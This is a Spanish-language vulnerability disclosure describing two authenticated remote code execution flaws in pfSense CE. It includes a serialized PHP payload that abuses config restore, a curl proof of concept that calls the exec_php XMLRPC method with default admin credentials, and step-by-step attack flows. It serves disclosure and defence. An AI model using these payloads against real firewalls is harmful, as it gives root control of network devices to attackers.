🔐 CVE-2025-69690 & CVE-2025-69691

Ejecución Remota de Código Autenticada en Netgate pfSense Community Edition

📋 Resumen

⚠️ Aviso legal

Esta investigación se llevó a cabo en entornos de laboratorio aislados únicamente con fines educativos y de concienciación sobre seguridad. Todos los hallazgos fueron divulgados de forma responsable al proveedor antes de su publicación. Este aviso no constituye una invitación a atacar sistemas en producción. Las pruebas no autorizadas son ilegales.

🎯 CVE-2025-69690

Deserialización insegura → RCE (pfSense CE 2.7.2)

Descripción

El mecanismo de restauración de configuración de pfSense invoca unserialize() sobre datos controlados por el usuario sin listas blancas de clases, validación de entrada ni sandboxing.

Un archivo de copia de seguridad manipulado que contenga un objeto PHP serializado malicioso inyecta comandos arbitrarios a través de la propiedad post_reboot_commands, que se ejecutan mediante mwexec() con privilegios totales de root.

Flujo del ataque

[Attacker] → Login as admin
           → Upload malicious .xml backup file
           → Trigger restore
           → pfSense calls unserialize() on attacker data
           → post_reboot_commands executed via mwexec()
           → [ROOT SHELL]

Componentes afectados

• config.php — lógica de procesamiento de restauración
• clase pfsense_module_installer — objetivo de deserialización insegura
• mwexec() — sumidero de ejecución de comandos

Payload de PoC

O:23:"pfsense_module_installer":1:{
  s:17:"*post_reboot_commands";
  a:1:{
    i:0;s:40:"/usr/local/bin/php -r 'system(\"id\");'";
  }
}

Impacto

• ✅ Ejecución arbitraria de comandos del sistema como root
• ✅ Instalación de puertas traseras persistentes
• ✅ Toma de control total del firewall
• ✅ Exfiltración de credenciales y configuración

Respuesta del proveedor

"Reconocido. Clasificado como abuso administrativo autenticado. No se emitirá ningún parche." — Netgate

🎯 CVE-2025-69691

XMLRPC exec_php → RCE (pfSense CE 2.8.0)

Descripción

pfSense CE 2.8.0 expone un método XMLRPC, pfsense.exec_php, que ejecuta código PHP arbitrario como root sin validación, sandboxing ni ningún tipo de restricción.

El endpoint:

• ✅ Está habilitado por defecto
• ✅ Es accesible de forma remota a través de HTTPS
• ✅ Está protegido únicamente por autenticación básica
• ✅ Es explotable con credenciales por defecto (admin:pfsense)

Flujo del ataque

[Attacker] → Send XMLRPC request to /xmlrpc.php
           → Authenticate with admin:pfsense (default)
           → Call pfsense.exec_php with arbitrary PHP
           → Code executes as root, no sandboxing
           → [ROOT SHELL]

Componentes afectados

• xmlrpc.php — punto de entrada de la API
• pfsense.exec_php — ejecución dinámica de código insegura
• capa de autenticación básica — control de acceso insuficiente

PoC

curl -k -u admin:pfsense \
  -H "Content-Type: text/xml" \
  -d '<methodCall>
        <methodName>pfsense.exec_php</methodName>
        <params>
          <param>
            <value><string>system("id");</string></value>
          </param>
        </params>
      </methodCall>' \
  https://<target>/xmlrpc.php

Impacto

• ✅ Compromiso total remoto como root
• ✅ Lectura/escritura arbitraria de archivos
• ✅ Despliegue de puertas traseras
• ✅ Manipulación de reglas del firewall
• ✅ Extracción de todas las credenciales y configuraciones

Respuesta del proveedor

"Reconocido. Clasificado como comportamiento esperado para usuarios autenticados. No se planea ningún parche." — Netgate

📅 Cronología

November 2025     →  Vulnerabilities discovered
December 2, 2025  →  Responsible disclosure to Netgate
                  →  Vendor acknowledged, no patch planned
January 28, 2026  →  CVE IDs assigned by MITRE
February 2026     →  Public disclosure

🔗 Referencias

• 🔴 CVE-2025-69690 en cve.org
• 🔴 CVE-2025-69691 en cve.org
• 📧 Divulgación completa: [email protected]

👤 Investigador

Nelson Adhepeau — Investigador de seguridad independiente

📧 [email protected]